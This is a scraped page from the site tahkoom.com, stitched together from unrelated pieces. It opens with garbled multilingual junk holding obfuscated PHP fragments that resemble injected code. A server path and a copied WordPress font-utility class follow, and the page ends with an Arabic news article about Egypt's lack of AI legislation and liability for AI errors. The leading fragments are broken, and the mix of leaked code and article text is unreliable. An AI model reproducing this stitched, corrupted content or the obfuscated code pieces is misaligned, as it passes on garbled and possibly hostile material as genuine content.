财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/fonts/class-wp-font-utils.php
<?php
/**
 * Font Utils class.
 *
 * Provides utility functions for working with font families.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.5.0
 */

/**
 * A class of utilities for working with the Font Library.
 *
 * These utilities may change or be removed in the future and are intended for internal use only.
 *
 * @since 6.5.0
 * @access private
 */
class WP_Font_Utils {
	/**
	 * Adds surrounding quotes to font family names that contain special characters.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 *
	 * @param string $item A font family name.
	 * @return string The font family name with surrounding quotes, if necessary.
	 */
	private static function maybe_add_quotes( $item ) {
		// Matches strings that are not exclusively alphabetic characters or hyphens, and do not exactly follow the pattern generic(alphabetic characters or hyphens).
		$regex = '/^(?!generic\([a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/';
		$item  = trim( $item );
		if ( preg_match( $regex, $item ) ) {
			$item = trim( $item, "\"'" );
			return '"' . $item . '"';
		}
		return $item;
	}

	/**
	 * Sanitizes and formats font family names.
	 *
	 * - Applies `sanitize_text_field`.
	 * - Adds surrounding quotes to names containing any characters that are not alphabetic or dashes.
	 *
	 * It follows the recommendations from the CSS Fonts Module Level 4.
	 * @link https://www.w3.org/TR/css-fonts-4/#font-family-prop
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @see sanitize_text_field()
	 *
	 * @param string $font_family Font family name(s), comma-separated.
	 * @return string Sanitized and formatted font family name(s).
	 */
	public static function sanitize_font_family( $font_family ) {
		if ( ! $font_family ) {
			return '';
		}

		$output          = sanitize_text_field( $font_family );
		$formatted_items = array();
		if ( str_contains( $output, ',' ) ) {
			$items = explode( ',', $output );
			foreach ( $items as $item ) {
				$formatted_item = self::maybe_add_quotes( $item );
				if ( ! empty( $formatted_item ) ) {
					$formatted_items[] = $formatted_item;
				}
			}
			return implode( ', ', $formatted_items );
		}
		return self::maybe_add_quotes( $output );
	}

	/**
	 * Generates a slug from font face properties, e.g. `open sans;normal;400;100%;U+0-10FFFF`
	 *
	 * Used for comparison with other font faces in the same family, to prevent duplicates
	 * that would both match according the CSS font matching spec. Uses only simple case-insensitive
	 * matching for fontFamily and unicodeRange, so does not handle overlapping font-family lists or
	 * unicode ranges.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @link https://drafts.csswg.org/css-fonts/#font-style-matching
	 *
	 * @param array $settings {
	 *     Font face settings.
	 *
	 *     @type string $fontFamily   Font family name.
	 *     @type string $fontStyle    Optional font style, defaults to 'normal'.
	 *     @type string $fontWeight   Optional font weight, defaults to 400.
	 *     @type string $fontStretch  Optional font stretch, defaults to '100%'.
	 *     @type string $unicodeRange Optional unicode range, defaults to 'U+0-10FFFF'.
	 * }
	 * @return string Font face slug.
	 */
	public static function get_font_face_slug( $settings ) {
		$defaults = array(
			'fontFamily'   => '',
			'fontStyle'    => 'normal',
			'fontWeight'   => '400',
			'fontStretch'  => '100%',
			'unicodeRange' => 'U+0-10FFFF',
		);
		$settings = wp_parse_args( $settings, $defaults );
		if ( function_exists( 'mb_strtolower' ) ) {
			$font_family = mb_strtolower( $settings['fontFamily'] );
		} else {
			$font_family = strtolower( $settings['fontFamily'] );
		}
		$font_style    = strtolower( $settings['fontStyle'] );
		$font_weight   = strtolower( $settings['fontWeight'] );
		$font_stretch  = strtolower( $settings['fontStretch'] );
		$unicode_range = strtoupper( $settings['unicodeRange'] );

		// Convert weight keywords to numeric strings.
		$font_weight = str_replace( array( 'normal', 'bold' ), array( '400', '700' ), $font_weight );

		// Convert stretch keywords to numeric strings.
		$font_stretch_map = array(
			'ultra-condensed' => '50%',
			'extra-condensed' => '62.5%',
			'condensed'       => '75%',
			'semi-condensed'  => '87.5%',
			'normal'          => '100%',
			'semi-expanded'   => '112.5%',
			'expanded'        => '125%',
			'extra-expanded'  => '150%',
			'ultra-expanded'  => '200%',
		);
		$font_stretch     = str_replace( array_keys( $font_stretch_map ), array_values( $font_stretch_map ), $font_stretch );

		$slug_elements = array( $font_family, $font_style, $font_weight, $font_stretch, $unicode_range );

		$slug_elements = array_map(
			function ( $elem ) {
				// Remove quotes to normalize font-family names, and ';' to use as a separator.
				$elem = trim( str_replace( array( '"', "'", ';' ), '', $elem ) );

				// Normalize comma separated lists by removing whitespace in between items,
				// but keep whitespace within items (e.g. "Open Sans" and "OpenSans" are different fonts).
				// CSS spec for whitespace includes: U+000A LINE FEED, U+0009 CHARACTER TABULATION, or U+0020 SPACE,
				// which by default are all matched by \s in PHP.
				return preg_replace( '/,\s+/', ',', $elem );
			},
			$slug_elements
		);

		return sanitize_text_field( implode( ';', $slug_elements ) );
	}

	/**
	 * Sanitizes a tree of data using a schema.
	 *
	 * The schema structure should mirror the data tree. Each value provided in the
	 * schema should be a callable that will be applied to sanitize the corresponding
	 * value in the data tree. Keys that are in the data tree, but not present in the
	 * schema, will be removed in the sanitized data. Nested arrays are traversed recursively.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param array $tree   The data to sanitize.
	 * @param array $schema The schema used for sanitization.
	 * @return array The sanitized data.
	 */
	public static function sanitize_from_schema( $tree, $schema ) {
		if ( ! is_array( $tree ) || ! is_array( $schema ) ) {
			return array();
		}

		foreach ( $tree as $key => $value ) {
			// Remove keys not in the schema or with null/empty values.
			if ( ! array_key_exists( $key, $schema ) ) {
				unset( $tree[ $key ] );
				continue;
			}

			$is_value_array  = is_array( $value );
			$is_schema_array = is_array( $schema[ $key ] ) && ! is_callable( $schema[ $key ] );

			if ( $is_value_array && $is_schema_array ) {
				if ( wp_is_numeric_array( $value ) ) {
					// If indexed, process each item in the array.
					foreach ( $value as $item_key => $item_value ) {
						$tree[ $key ][ $item_key ] = isset( $schema[ $key ][0] ) && is_array( $schema[ $key ][0] )
							? self::sanitize_from_schema( $item_value, $schema[ $key ][0] )
							: self::apply_sanitizer( $item_value, $schema[ $key ][0] );
					}
				} else {
					// If it is an associative or indexed array, process as a single object.
					$tree[ $key ] = self::sanitize_from_schema( $value, $schema[ $key ] );
				}
			} elseif ( ! $is_value_array && $is_schema_array ) {
				// If the value is not an array but the schema is, remove the key.
				unset( $tree[ $key ] );
			} elseif ( ! $is_schema_array ) {
				// If the schema is not an array, apply the sanitizer to the value.
				$tree[ $key ] = self::apply_sanitizer( $value, $schema[ $key ] );
			}

			// Remove keys with null/empty values.
			if ( empty( $tree[ $key ] ) ) {
				unset( $tree[ $key ] );
			}
		}

		return $tree;
	}

	/**
	 * Applies a sanitizer function to a value.
	 *
	 * @since 6.5.0
	 *
	 * @param mixed    $value     The value to sanitize.
	 * @param callable $sanitizer The sanitizer function to apply.
	 * @return mixed The sanitized value.
	 */
	private static function apply_sanitizer( $value, $sanitizer ) {
		if ( null === $sanitizer ) {
			return $value;

		}
		return call_user_func( $sanitizer, $value );
	}

	/**
	 * Returns the expected mime-type values for font files, depending on PHP version.
	 *
	 * This is needed because font mime types vary by PHP version, so checking the PHP version
	 * is necessary until a list of valid mime-types for each file extension can be provided to
	 * the 'upload_mimes' filter.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return string[] A collection of mime types keyed by file extension.
	 */
	public static function get_allowed_font_mime_types() {
		$php_7_ttf_mime_type = PHP_VERSION_ID >= 70300 ? 'application/font-sfnt' : 'application/x-font-ttf';

		return array(
			'otf'   => 'application/vnd.ms-opentype',
			'ttf'   => PHP_VERSION_ID >= 70400 ? 'font/sfnt' : $php_7_ttf_mime_type,
			'woff'  => PHP_VERSION_ID >= 80112 ? 'font/woff' : 'application/font-woff',
			'woff2' => PHP_VERSION_ID >= 80112 ? 'font/woff2' : 'application/font-woff2',
		);
	}
}
الذكاء الاصطناعي في مصر تطور بلا تشريع فمن يتحمل المسؤولية؟ – tahkoom.com
تفاعل

الذكاء الاصطناعي في مصر تطور بلا تشريع فمن يتحمل المسؤولية؟

كتبت شروق عارف                                                                                                                                                    يشهد العالم تطورا غير مسبوق في التكنولوجيا، حيث أصبح الذكاء الاصطناعي قوة مؤثرة تعيد تشكيل حياتنا وتغيّر قواعد العديد من المجالات. ورغم ما يتيحه هذا التقدم من فرص واسعة، إلا أنه يثير تحديات ومخاوف، خاصة في ظل غياب تشريعات واضحة تنظم استخدامه في مجالات حساسة كالجراحة، والسيارات ذاتية القيادة، والمجال القانوني. هذا الواقع يطرح تساؤلات مهمة، أبرزها: من يتحمل المسؤولية عند حدوث خطأ؟ وتواجه مصر اليوم تحديا في سن قوانين تحمي حقوق الناس وتواكب في الوقت نفسه التقدم التكنولوجي                                                                                                                       

لا قانون للذكاء الاصطناعي حتى الان                                                                                               

صرح المحامي محمد عاطف  بأن الذكاء الاصطناعي لا يخضع حتى الآن لإطار قانوني واضح ومحدد.
و لم يتم إصدار قانون شامل ينظم استخداماته حتى الآن.

وأوضح أنه لا يجوز قانونًا للذكاء الاصطناعي تقديم استشارات قانونية، حيث إن هذه المهام يجب أن تكون من اختصاص محامي مرخص أو جهة قانونية معترف بها، لضمان صحة المعلومات .

وفي ما يتعلق بالمسؤولية الطبية، أشار إلى أن الطبيب هو المسؤول الأول عن الخطأ الطبي، باعتباره صاحب القرار والمتخصص في تقديم الرعاية الصحية، وبالتالي فهو الذي يُسأل قانونًا عند وقوع أي تقصير أو إهمال.

أما في حالات حوادث السير، فقد بين أن السائق هو المسؤول قانونيًا عن أي خطأ يقع أثناء القيادة، لأنه هو المتحكم .
وأضاف أن القانون لا يزال غير مستوعب بشكل كامل لمفهوم القيادة الذاتية، وبالتالي لا يحمل الذكاء الاصطناعي أي مسؤولية في هذا السياق حتى الآن.

من جانبه، أوضح المحامي الجنائي محمد علي أن الذكاء الاصطناعي لديه القدرة على تقديم استشارات أو خدمات قانونية.
ولكن لا بد أن نفرق بين دوره ودور المحامي، فالمحامي لا يعتمد فقط على المعلومات، بل على فهمه العميق للقانون وظروف كل قضية، وهو ما لا يستطيع الذكاء الاصطناعي تقديمه، لأنه في النهاية مجرد أداة.

كما أن الذكاء الاصطناعي يمكنه المساعدة في الوصول إلى مواد قانونية أو شرح بعض المفاهيم، لكنه لا يقدم حلولًا قانونية كاملة، ولا يستطيع التعامل مع تفاصيل كل حالة على حدة كما يفعل المحامي البشري.

وأشار إلى أن مصر لا تمتلك حتى الآن قانونًا خاصًا ينظم الذكاء الاصطناعي.
كما لا يوجد ما يمنع قانونًا استخدام أدوات الذكاء الاصطناعي في تقديم استشارات قانونية، لكن لا يمكن الاعتماد عليها كبديل عن المحامي المرخص، حيث يشترط قانون المحاماة أن تكون المرافعات والتوقيعات القانونية صادرة عن محامي معتمد من النقابة.

وفي المجال الطبي، أوضح أن القانون المصري لا يميز بوضوح بين الخطأ الناتج عن الإنسان والخطأ الناتج عن الذكاء الاصطناعي.
فإذا وقع ضرر نتيجة استخدام أدوات مثل الروبوتات الجراحية أو أنظمة التشخيص، فإن المسؤولية تقع غالبًا على الطبيب.

أما فيما يخص السيارات ذاتية القيادة، فأكد أن مصر لا تملك إطارًا قانونيًا ينظمها حتى الآن.
وفي حال وقوع حادث، قد تتحمل المسؤولية إما الشركة المصنعة أو مالك السيارة، حسب ظروف الحادث.

من جانبه، أكد المحامي المدني رامي أبو رية بأن مصطلح الذكاء الاصطناعي يعد تعبيرا فضفاضا، مما يجعل من السهل القول بأنه لا يوجد قانون محدد ينظم استخدامه.
إلا أن الواقع أكثر دقة فبمجرد تفكيك المصطلح والنظر في كل مجال تُستخدم فيه التكنولوجيا المعتمدة على الذكاء الاصطناعي، نجد أن القوانين الحالية تنظم هذه الاستخدامات بشكل أو بآخر.

وأكد على أهمية تحديد نوع المسؤولية القانونية عند مناقشة الأطر التنظيمية للذكاء الاصطناعي، موضحًا أن الحديث هنا ينصب على المسؤولية المدنية، التي تنقسم بدورها إلى نوعين: المسؤولية العقدية  والمسؤولية التقصيرية، التي تُعد الأقرب لتطبيقات الذكاء الاصطناعي في الوقت الراهن.

وأوضح أن المسؤولية التقصيرية تقوم على ثلاثة عناصر: الخطأ، والضرر، وعلاقة السببية، وهو ما تنظمه المادة 163 من القانون المدني المصري.
وأعطى مثالًا على ذلك بالسيارات ذاتية القيادة، مشيرًا إلى أنها تخضع لأحكام المادة 178 من القانون المدني، التي تتعلق بمسؤولية حارس الأشياء، أي الشخص الذي يملك السيطرة الفعلية على الشيء الذي قد يُسبب ضررًا للغير.
وبناءً عليه، فإن مالك أو مشغل السيارة ذاتية القيادة هو المسؤول مدنيًا عن أي ضرر ناتج عنها.

وفيما يتعلق باستخدام الذكاء الاصطناعي في تقديم الاستشارات القانونية، أشار أبو رية إلى أن هذه التقنية يمكنها حاليًا توليد نصوص قانونية تُقدَّم على هيئة استشارات، لكنها لا تستطيع تطبيقها فعليًا.
وقد تتضمن هذه الاستشارات معلومات عامة متداولة، أو تفاصيل دقيقة لا يعرفها سوى المتخصصين، ما قد يشكّل خطرًا على مصلحة من يطلب الاستشارة دون الرجوع إلى مختص بشري.

صرّحت الأستاذة هند توفيق، المحامية المتخصصة بالإستئناف العالي بأن استخدام الذكاء الاصطناعي في مصر يخضع لإطار قانوني واضح، حيث ينظمه قانون حماية البيانات الشخصية الصادر عام 2020، بالإضافة إلى قانون مكافحة جرائم تقنية المعلومات لسنة 2018، ما يضع استخدام هذه التكنولوجيا تحت الرقابة القانونية.

وأوضحت أن الذكاء الاصطناعي يمكن الاستفادة منه في تقديم استشارات وآراء قانونية أو خدمات مساعدة، مؤكدة على استخدامه بشكل فعلي في الأبحاث القانونية وصياغة المذكرات، إلا أن هذه الأدوات لا تحمل طابعًا رسميًا، ويمكن الاعتماد عليها كمصدر تمهيدي أو مساعد، لا أكثر.

وفيما يتعلق بالمسؤولية القانونية في حالة الأخطاء الطبية الناتجة عن استخدام الروبوتات، أكدت أن هناك شقين للمساءلة: جنائي ومدني. ففي الشق الجنائي، يُعد الروبوت بمثابة أداة جراحية، وأي خلل ناتج عنه يؤدي إلى مساءلة الطبيب جنائيًا بتهمة القتل أو الإصابة الخطأ، وفقًا للضرر الواقع. أما في الشق المدني، فالمسؤولية تقع على الطبيب كذلك، باعتبارها مسؤولية تقصيرية، مضيفة أن القانون المدني المصري يتضمن مفهوم “مسؤولية حارس الأشياء”، والتي يمكن تطبيقها على الروبوت باعتباره شيئًا ماديًا، مما يرتب تعويضًا مدنيًا عن الضرر.

وبالنسبة للحوادث الناجمة عن السيارات ذاتية القيادة، أوضحت أن المبدأ نفسه ينطبق؛ حيث يُسأل مالك السيارة مدنيًا، ما لم يثبت أن العطل ناتج عن خلل تقني أو عيب مصنعي، مع تأكيده على اتخاذه الاحتياطات اللازمة. أما من الناحية الجنائية، فلا يوجد حتى الآن نص قانوني واضح يعالج هذه الحالة.

وفي تقييمها للتأثير الاقتصادي للذكاء الاصطناعي، شددت الأستاذة هند على أن هذه التكنولوجيا باتت تمثل خطرًا حقيقيًا على العديد من المهن، خصوصًا تلك التي تعتمد على المهارات الذهنية، مثل مهنة المحاماة والقضاء. لكنها أوضحت أن الوضع في مصر يختلف، إذ لا يمكن الاعتماد كليًا على الذكاء الاصطناعي في تحقيق العدالة، بسبب الطبيعة البشرية لتكوين قناعة القاضي واستنباط القرائن، وهو ما لا تستطيع الخوارزميات محاكاته حتى الآن.

واختتمت حديثها قائلة: “من يعلم؟! ربما نشهد بعد سنوات قليلة طفرة جديدة تجعل الذكاء الاصطناعي قادراً على أداء مهام لم نكن نتخيل أن يفعلها. منذ أربعين عامًا، لو قال لنا أحد أننا سنتحدث اليوم عبر جهاز يسمى الموبايل ونتبادل الرسائل الإلكترونية، لكنا اتهمناه بالجنون”.

 

لم يعد الذكاء الاصطناعي مجرد فكرة مستقبلية، بل أصبح واقع نعيشه ، ودخل مجالات حساسة تمس حياة الناس بشكل مباشر.
ومع هذا الانتشار السريع، يظل القانون في مصر متأخرًا عن مواكبة هذا التطور، فلا توجد تشريعات واضحة تحدد من المسؤول عند وقوع الخطأ.
ولهذا، فإن وضع إطار قانوني ينظم استخدام الذكاء الاصطناعي أصبح ضرورة لا تحتمل التأجيل، لحماية الحقوق وضمان الاستخدام الآمن والعادل لهذه التكنولوجيا.

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى